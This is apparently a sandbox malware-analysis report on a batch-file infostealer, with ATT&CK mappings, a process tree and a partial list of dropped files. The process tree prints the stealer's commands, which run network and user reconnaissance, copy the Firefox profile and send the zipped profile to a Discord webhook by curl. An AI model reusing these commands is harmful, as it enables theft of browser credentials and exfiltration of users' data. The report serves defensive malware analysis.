989dcd837e6f59b4b38f063a0009f7716270f5a75752f311f88c58fafe669904

Analysis

user interaction
yes
max time kernel
149s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/09/2026, 03:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_bat_20260928_1b7719 (1).bat
Size 3KB
Sample260928-d2hyaavxfs
SHA256 989dcd837e6f59b4b38f063a0009f7716270f5a75752f311f88c58fafe669904
MD5 370420775058208cbae794661baea5d0
SHA1 2c06306d3b61ff324647d1fbe3afe36ca2cc6195
SHA512 2e9f8c39e68ce697b86052fb9c2061f9c6ace2006d2f0ddbb07b792ce49458f4c259dabaa3aef128a2382da6ceabc6d3d14b629da60f57ab1fc3f2c584334099
TLSH
T15C71B8A3A5FC17114C351EB3778142BD998B12AD071C9ECD61449971ACCE3AE52BC4A2
MD5 SHA1 SHA512 TLSH

Score

7^/10

discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
41	discord.com
42	discord.com

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4944	ARP.EXE

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2680	tasklist.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1580	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4200	cmd.exe
5080	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5080	cmd.exe
3344	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
4384	NETSTAT.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3056	ipconfig.exe
4384	NETSTAT.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1580	powershell.exe
1580	powershell.exe
1580	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4384	NETSTAT.EXE
Token: SeDebugPrivilege	2680	tasklist.exe
Token: SeIncreaseQuotaPrivilege	624	WMIC.exe
Token: SeSecurityPrivilege	624	WMIC.exe
Token: SeTakeOwnershipPrivilege	624	WMIC.exe
Token: SeLoadDriverPrivilege	624	WMIC.exe
Token: SeSystemProfilePrivilege	624	WMIC.exe
Token: SeSystemtimePrivilege	624	WMIC.exe
Token: SeProfSingleProcessPrivilege	624	WMIC.exe
Token: SeIncBasePriorityPrivilege	624	WMIC.exe
Token: SeCreatePagefilePrivilege	624	WMIC.exe
Token: SeBackupPrivilege	624	WMIC.exe
Token: SeRestorePrivilege	624	WMIC.exe
Token: SeShutdownPrivilege	624	WMIC.exe
Token: SeDebugPrivilege	624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	624	WMIC.exe
Token: SeRemoteShutdownPrivilege	624	WMIC.exe
Token: SeUndockPrivilege	624	WMIC.exe
Token: SeManageVolumePrivilege	624	WMIC.exe
Token: 33	624	WMIC.exe
Token: 34	624	WMIC.exe
Token: 35	624	WMIC.exe
Token: 36	624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	624	WMIC.exe
Token: SeSecurityPrivilege	624	WMIC.exe
Token: SeTakeOwnershipPrivilege	624	WMIC.exe
Token: SeLoadDriverPrivilege	624	WMIC.exe
Token: SeSystemProfilePrivilege	624	WMIC.exe
Token: SeSystemtimePrivilege	624	WMIC.exe
Token: SeProfSingleProcessPrivilege	624	WMIC.exe
Token: SeIncBasePriorityPrivilege	624	WMIC.exe
Token: SeCreatePagefilePrivilege	624	WMIC.exe
Token: SeBackupPrivilege	624	WMIC.exe
Token: SeRestorePrivilege	624	WMIC.exe
Token: SeShutdownPrivilege	624	WMIC.exe
Token: SeDebugPrivilege	624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	624	WMIC.exe
Token: SeRemoteShutdownPrivilege	624	WMIC.exe
Token: SeUndockPrivilege	624	WMIC.exe
Token: SeManageVolumePrivilege	624	WMIC.exe
Token: 33	624	WMIC.exe
Token: 34	624	WMIC.exe
Token: 35	624	WMIC.exe
Token: 36	624	WMIC.exe
Token: SeSecurityPrivilege	4132	msiexec.exe
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 5080	4200	cmd.exe	89
PID 5080 wrote to memory of 3344	5080	cmd.exe	90
PID 5080 wrote to memory of 4172	5080	cmd.exe	91
PID 4200 wrote to memory of 3056	4200	cmd.exe	95
PID 4200 wrote to memory of 4384	4200	cmd.exe	96
PID 4200 wrote to memory of 4944	4200	cmd.exe	97
PID 4200 wrote to memory of 1380	4200	cmd.exe	98
PID 1380 wrote to memory of 912	1380	net.exe	99
PID 4200 wrote to memory of 2680	4200	cmd.exe	100
PID 4200 wrote to memory of 624	4200	cmd.exe	102
PID 4200 wrote to memory of 3268	4200	cmd.exe	114
PID 4200 wrote to memory of 1580	4200	cmd.exe	115
PID 4200 wrote to memory of 2416	4200	cmd.exe	118

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_1b7719 (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profiles | findstr /r /c:"All User Profile"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3344
- - C:\Windows\system32\findstr.exe
    findstr /r /c:"All User Profile"
    3⤵
    PID:4172
- C:\Windows\system32\ipconfig.exe
  ipconfig /all
  2⤵
  - Gathers network information
  PID:3056
- C:\Windows\system32\NETSTAT.EXE
  netstat -ano
  2⤵
  - System Network Connections Discovery
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:4384
- C:\Windows\system32\ARP.EXE
  arp -a
  2⤵
  - Network Service Discovery
  PID:4944
- C:\Windows\system32\net.exe
  net user
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user
    3⤵
    PID:912
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\Wbem\WMIC.exe
  wmic product get name,version
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:624
- C:\Windows\system32\xcopy.exe
  xcopy /e /i /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles" "C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4"
  2⤵
  PID:3268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\.racmods\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_24652.zip' -Force"
  2⤵
  - Enumerates connected drives
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\system32\curl.exe
  curl -s -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_24652.zip" https://discord.com/api/webhooks/1525679347078397962/b2oIR6lAAr63nLl9mtmI8dIBBBSrrpYuThEpWye7KFkgV2MyMqj_75DCUgMPxIqn39eg
  2⤵
  PID:2416

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mod_acct.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_acct.tmp
Size 283B
SHA256 5deca39105885fa10c4d3aa9488d617ecf379ea43c6f4aa7cfddef44832bdee7
MD5 c342e4a26ec5ea985a47e2da78837d25
SHA1 16e97ef7a85b54f18d9044f8eed3cee38a63dec3
SHA512 a8e709ce9f3689908d9edb2d1c67c7b56b1c5d4941b063ae1e21e819589da5a0cfa4001e380c9e33f2087f4fade1490211d2261d32855b65f574bbf14bc04b27
TLSH
T113D08C022ECED3322AC5FA087060550ED087160518072401F9DE6B0D4B232828EAE4A8
MD5 SHA1 SHA512 TLSH

Submit Download

mod_apps.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_apps.tmp
Size 6KB
SHA256 8687ee1aed2f3799e0d3c0726a751508d575100463fcac8bf1c24ee838de03f3
MD5 18664bffe7e168d3ed6b9930c6c07fba
SHA1 6c99ae1e92f9a60c8bc6d9bb927a21adbf7a55bd
SHA512 00dd3e39b89e78364f7e100e2fa35c9526436db4b23017d18c7e324169f8445fbe499f6e5cd93e219fb91bc13c79abb15e81db1a7577b9c0fd5df72bc28514e6
SSDEEP 96:sEIOwmcQX8fwcJlfHc56cx6McPrc5q/dp:sI1iNg6H
TLSH
T11CD1E42C06AC8716D1B6DB119DE0485BF5A77842F9B58B4901AC234F8797D02B864F9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mod_c1.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c1.tmp
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mod_c3.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c3.tmp
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

times.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\loemwbp3.Admin\times.json
Size 47B
SHA256 03ff45d414b95dd124f966feab887c0f04ba59645615aff8cec7a4316de1ab1a
MD5 6c83c97787dd69736cac3b50316c04e7
SHA1 5032063c85734bf33aecadaca74ff617af2296f3
SHA512 3ec9447b7ef25b16a43c678a09b48bb1751c27790d9acb89a2585fa93ee2f903756c8bbfd8ddfd60d99e8a0bc96767e902d763540868b2289da025191a0b315c
MD5 SHA1 SHA512

Submit Download

user.js

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\loemwbp3.Admin\user.js
Size 250B
SHA256 f33675cdfeb05f651b593a4de2c41205f31b25f39053904be733d61cdbff19ec
MD5 7ada55b29cfc8f73143e9fcc7e7fb3b0
SHA1 bcaf6f80bc7a400be561fffc5466b985cba2b201
SHA512 e9a97250780c29e7173c87dd96ef026612b244e9434b63dc70a47f021888120d92188e5c69abde647923cf62bc82693a80719eec2963c731e9177933878785a8
TLSH
T164D05E70C39C0A5FA8A871E80824026229A3859EBEAF7C9241610611600C7BC66E3D6F
MD5 SHA1 SHA512 TLSH

Submit Download

AlternateServices.bin

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\AlternateServices.bin
Size 1KB
SHA256 780f7e735e2ba5b99e5cf69f90cc143586e46699df1b23af11e91f667a856f60
MD5 c813edd2638df2b8e7723e3599994bd2
SHA1 90f652254b73cd4a09691bc87b61b78fb5817fec
SHA512 736d04f6ede9a4d6bf40f7394085a0e046bebdf28face98f7a7e08929c428182905b4dd03022075b28210d9dd6d8656343a52fd6e9b0c6fec35bdcf595aab20a
TLSH
T100214CBB81B30130E0145AB8B82660044E375BE556B694496B61A0726953E9DA0EC094
MD5 SHA1 SHA512 TLSH

Submit Download

SiteSecurityServiceState.bin

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\SiteSecurityServiceState.bin
Size 1KB
SHA256 43e428ffd8ef2ae73d308869d7acfd93dc5707f4379ad5843e8ac8caa24e2ac9
MD5 71142b249b19be566e8bdb1c75471c90
SHA1 a80283cec8adbd6cd8f8f1605db29c665c81bbd1
SHA512 ccdd8e902f604a6216ef2ea73bae293db60c5a31956f88d6c970c69e31c37790cf68f43556a63500c2edf91fd024ab46ef79cfafeb1840130a6027439680707a
TLSH
T11321127589DBC033E1D346753C7D48501CE9339685B3F9EC3E9686D231C9EA920AD350
MD5 SHA1 SHA512 TLSH

Submit Download

addonStartup.json.lz4

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\addonStartup.json.lz4
Size 4KB
SHA256 0caa4ceab735f390e18bd0bff41bb13a1756b2fd16a687d654de79253d6cdd43
MD5 5e15fde1cd4a98a622444324522f3311
SHA1 5036c038d08dbce47ef18db4ffaf6900673682b5
SHA512 b726ba85f85f162ab0512895a8c0cf8ba0d42b3f6384bf87f62244d4dfeafd282adf40198defe80f27adef7c4884539786ba2f8592eceb4d275f2dd081850627
SSDEEP 96:dU55sWNNd2xWNhD4fMgGvmHQ0FVO1u+8TXqYjE2IXR1:dW2xohD4rGvmHA8Ti2a1
TLSH
T113918DB5D949FFA5FE37C08698D97F31D2DA5A7420AD9431F06BB2054CA0BE26786300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bounce-tracking-protection.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\bounce-tracking-protection.sqlite
Size 96KB
SHA256 7d01ba2a4dcb76f28d44da69ea57ba4649e0efb1dea0dd48503461a41f9d1e28
MD5 dff9e20fa4010dfe8215f4afeed58ab3
SHA1 fe08e3eec8172bc186d6daabf25a874780b8a373
SHA512 75ea436d77dd847fa711a593c5c8099cfab91754a8da479fb7c34815fe38f4057ec22bda40dfced343724cb1f0f4a8d100e4845122721d7d1fceb44c82beac9b
SSDEEP 12:DBl/mnf8/ykS2lcBDMGEJKM+vcBDMvYkMBAlO:DLmf8akrEDE+vED8YfAlO
TLSH
T1A3A3268F0AB42A91FDC521B1D7829EEEAA5EC32DCB17A79216A040B69D421A016625B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cert9.db

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\cert9.db
Size 224KB
SHA256 7fe4a2f15e0582796e2964cede57141389374a3ee1fb022bcfaaa6983014cf1a
MD5 4e19802d3c83e4dcd771f44517162143
SHA1 2323b0978ecbcf19633a4e710e70a07534558024
SHA512 9d5b3bfb0f9afdcaeb972abacc44c183954c3200c3afeadc2691cb5a78662bc5d9a7cb6fbc9b7cfdc8e86e05c91eabf88f7619775160d7477522a1fd40c918b0
SSDEEP 192:jOFva0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v:61zkVmvQhyn+Zoz67
TLSH
T16524D086AC04F52ACF4B3430E6834DF37E51520443486A76CABC0E7F1DB520E9B988E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

compatibility.ini

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\compatibility.ini
Size 198B
SHA256 252b7fff962848c61092e82a3d87adca163849767713a93ab533bb397f1f53bb
MD5 ce9ef13caa8a74c25157b184aa038475
SHA1 db03a9935d8bb3ce6b120aca98feade536805160
SHA512 0f6f5053e78167ef5cc5fa70ed3a87dd116df0671a590299277a197341bed983e3d77e37ad2c33cd4afe880fab9ed1c7f7502210040617a01f97a81c1e1d4f29
TLSH
T1C1D022818BC7848C9D4AA8E4537C38086BF2EE0E0604492A32827F0B4164F09023C3F9
MD5 SHA1 SHA512 TLSH

Submit Download

containers.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\containers.json
Size 688B
SHA256 b32a837702b91f3d6c3a6a50da2e31f1cbe6384e991aefd08eb595a05dd27761
MD5 332d1459439502d9605d59b2c597af52
SHA1 aeee847012744a06ccd5201f288efc6c0ee6094e
SHA512 18ebc86d13eec67ac1e3705ce9239598f1a9b7ea5d5406ae41b854caba080d4d9f9cf3965643b793e6c8561f96177aa68806bb7ecb700e8515e8ce3be0095278
TLSH
T18901D1364507546EB3C503A912426D22675C60B1D71EEEE9E8360A4E4ADC3E6CE31BFF
MD5 SHA1 SHA512 TLSH

Submit Download

content-prefs.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\content-prefs.sqlite
Size 256KB
SHA256 ba71266bf5855718e817c221afba9e329c9085570f1e421af2737a5ec9766082
MD5 db4635a8d5ad19229edc1d984e7d9f6b
SHA1 ab1dffaafed301015bd441ce59f29dd47fd06e86
SHA512 02d768286421654aefa313c158a61a6cd27d961a6e784bfdfc08e3c3fb1f522b7e05d8de9708e013cf1562fa93ceb3ba1bfe28147fa1ea2e17f883fb1c942a96
SSDEEP 24:DLiKvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DGWwae+QtMImelekKDa5
TLSH
T19B4426174AD17408C0B014B1D4636F22AF3D405B8D33E7B23ABC143A4F886AAFC791E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookies.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\cookies.sqlite
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.bin

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\datareporting\glean\db\data.safe.bin
Size 27KB
SHA256 2a1ca1ffb4f1666c7d5d85c88035cc536f9e99976f1bde6f0e80972675714e84
MD5 3be2f2afc8f9a7067bf4f3a92b6057bd
SHA1 93d9b6b4a5fb69c6688b1c7a7fda64dd98a87197
SHA512 dc2e9037da5c36a63ec54c978ceb16c482c63add77ed5f748097676204044bad270f95a0e0f4aeab913251c835bf8b80d630adf8ec181773f31ac4d06ed68b6f
SSDEEP 768:hEdmZopdDGcmhunObGAwRcF8E0gbub1bBbe6Un:QmZopZxAwEJ
TLSH
T171D22284EB6A953FD41412BBDCE50B002F79B88A98092F573A5C646C6C872DC3D9E17F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\datareporting\glean\events\events
Size 1KB
SHA256 df9c921bb2fbae3217a936d7fe4e75c8f46a50aee82b42731ca73e4059185d91
MD5 227ed6b9468ae023b538c9e3665f4122
SHA1 e7ecfd610c3f1c04cc9bdff2246b9cec01bde114
SHA512 0281f1c70e7276adb21e3528f407edaaac52aa7bb3db37f0b4872b43b6c91c9343fb3e9962b5be3a9e017e6cd4ba222261765ec624fec834c87776cc53fc688d
TLSH
T1D7117F5C39F94E2A69CBE2AC7441018E53664E5704831C438D43EF8DDEE1BD9316583C
MD5 SHA1 SHA512 TLSH

Submit Download

state.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\datareporting\state.json
Size 175B
SHA256 eed365f8ce260a5ca06eab8d05f5dd80ea6ae31a88e1b7a0d01455401ffbe14e
MD5 1d0a0471fba6d35a4a98aaf73d4b3d25
SHA1 493d83fa76144b465fdc46d8164c5a24f20200a9
SHA512 fbde6c5e02b2734b1328e70acf96ad866aafd9182d126ec7efdf40270b6cfe87d7c04aceea767fb57cb95a589286d3caffdd4d2e5ec7c19f5d02f4b55d4c0333
TLSH
T118C080828D8526FBEB040D0230CD40F39A7E1C737E55D2305B7D6405817DD111140B51
MD5 SHA1 SHA512 TLSH

Submit Download

domain_to_categories.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\domain_to_categories.sqlite
Size 96KB
SHA256 8692cf697db69866f5fec275171571e69dc00d8a677ca34236bdd5b68d5d0980
MD5 0dd05d7143f844b12ec01d5317613125
SHA1 b808363f7529267e387d7f7224ff9293e8f47a04
SHA512 2188de54bc58ae9a8be75759930fb5a087c429978e4f5d9ebccbbbb73b5f05b22ad78a0207f7e743fd1bbc029c12aa6f5a2fa2c4557f404ae224b2bd921136f9
SSDEEP 12:DBl/wCtbUSoQym5H9L9ftirhP81MONd4/F0LA6Gr:DL7bv5XvtQhP8W5/b
TLSH
T1A4A32B1F0B1CB840D4C356F16D831A067634D90B8913BEF03B9D84014F067481C35AB8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extension-preferences.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\extension-preferences.json
Size 799B
SHA256 daf497e5a3e433535183500b7c02c03152766dcf631704e54f7eef3333e3c5b9
MD5 2931994d92618b9181e1349f34f27fad
SHA1 fdad2089a81a5006e944dae83550d3664d0292f1
SHA512 aea11b9804e25aaaaf7bfe7e0378d829a185cff44a7bb9fc9130abfe9d53444b872988c6a9907e1aca4bce459ab50d5bce5e0cebbbb9689dd333c011e43e1ccd
TLSH
T14101E53B640B6EB01E8E5621FE384A92E791111B50B7F6E47E69934A13D3970C1ED39C
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\extensions.json
Size 14KB
SHA256 b03b35c68cdc22db5c819f8c505a972e8832d130bc0e034bb0bd71527cb697b3
MD5 a703452cf7b0d35730edf2668d284723
SHA1 fc4b2c23bee560c937481e88471c953b86c7a5c3
SHA512 aa9a306ac7b5033f1bffe9d6d9332a9d077a695985c46f20656530a603a367a9bba8c58c44a17797257bb80017dcf589dfdbd49876b1ef4fe845d67c30ea584c
SSDEEP 384:XkI4vMUmldvS8dhWA94zs96oxL4Hb9L4PdL4HXL4HoL4HC:0I4ERf3Xp486y454V474K4i
TLSH
T12262421545048EB8298FA79BAA367E01C37D473B60845C78F4DD8FC802FA5B902FB61B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favicons.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\favicons.sqlite
Size 5.0MB
SHA256 04cc4090cec528e9c731a3d3c791bf8e823e1b2aa890758eb982364aa585188b
MD5 78b7e16ba86bc6be707e8970bdc18a9e
SHA1 c5f097b76dba03a54edec6c8ada59d3fbce5fc23
SHA512 7509bd362ae9de55aa6f4965d74311b8885692fdbcdbac80faa2055caafe3980363aeab02be7716ac141573210e0074ab1d4d1b14826afc8430c0bd7105e3a96
SSDEEP 192:6HxZEfTMzdLI+04FTU2EfTMzdLI+04FTUO:6sLu2+PFTU9Lu2+PFTUO
TLSH
T1A9362AB15A11602FC7094973FD172625BE2F5269CFE38A0737DAA5B4C4F1074EE0A4E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favicons.sqlite-shm

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\favicons.sqlite-shm
Size 32KB
SHA256 fd4c9fda9cd3f9ae7c962b0ddf37232294d55580e1aa165aa06129b8549389eb
MD5 b7c14ec6110fa820ca6b65f5aec85911
SHA1 608eeb7488042453c9ca40f7e1398fc1a270f3f4
SHA512 d8d75760f29b1e27ac9430bc4f4ffcec39f1590be5aef2bfb5a535850302e067c288ef59cf3b2c5751009a22a6957733f9f80fa18f2b0d33d90c068a3f08f3b0
SSDEEP 3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5 SHA1 SHA512 SSDEEP

Submit Download

handlers.json

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\handlers.json
Size 380B
SHA256 a0e0f7d600383de873dcb01474154fbbf513bdbe55638481ffce6d198399352c
MD5 a2e4be6328337b95ac3bdad5bd4c0983
SHA1 0badbb13d20ca84b342d077cbc00fdd7b342fc28
SHA512 138be3384a3c874c967f0bdd56a6c1bca334deea67d21ade2ff281cfd1f10047561590520bda496b2e4d0130a42295c5ced08cd9d07f10a64ef27226f4daa149
TLSH
T19DE061D26C1DAFE1073DE56CFE077D06C1B6051B3CF8EAED58D08B04076195D9007215
MD5 SHA1 SHA512 TLSH

Submit Download

key4.db

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\key4.db
Size 288KB
SHA256 05609c9d0ec4b0a0b10ed08f56035e2b6444f77ab0fa0b373e89726356cc98cc
MD5 92970deddaa7b962b7e06b16acbc0649
SHA1 ac50f7e25ec75a8dbebf595c1df00801b3b30141
SHA512 0197cc4aba59a18b942b4471be47f3de8e3afdb9898950ec4855a0b4a40c5d554fcdaa4e2b26ff5989b000947413743ee0fe8a84663edf0b5b83943b2570b991
SSDEEP 192:fva0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vc5t9+Cgv0:f1zkVmvQhyn+Zoz67xX9Tgv0
TLSH
T15D54BB07ED89B10AD70B7830C6954EF27A00A60847855E2BCBBC1E3E1EB164DB9AC5C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

permissions.sqlite

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4\sln8pgmh.default-release\permissions.sqlite
Size 96KB
SHA256 a3b1af0e1f39b3009364ed72d7938e21078aa16486e0ffd8441019c9415833d0
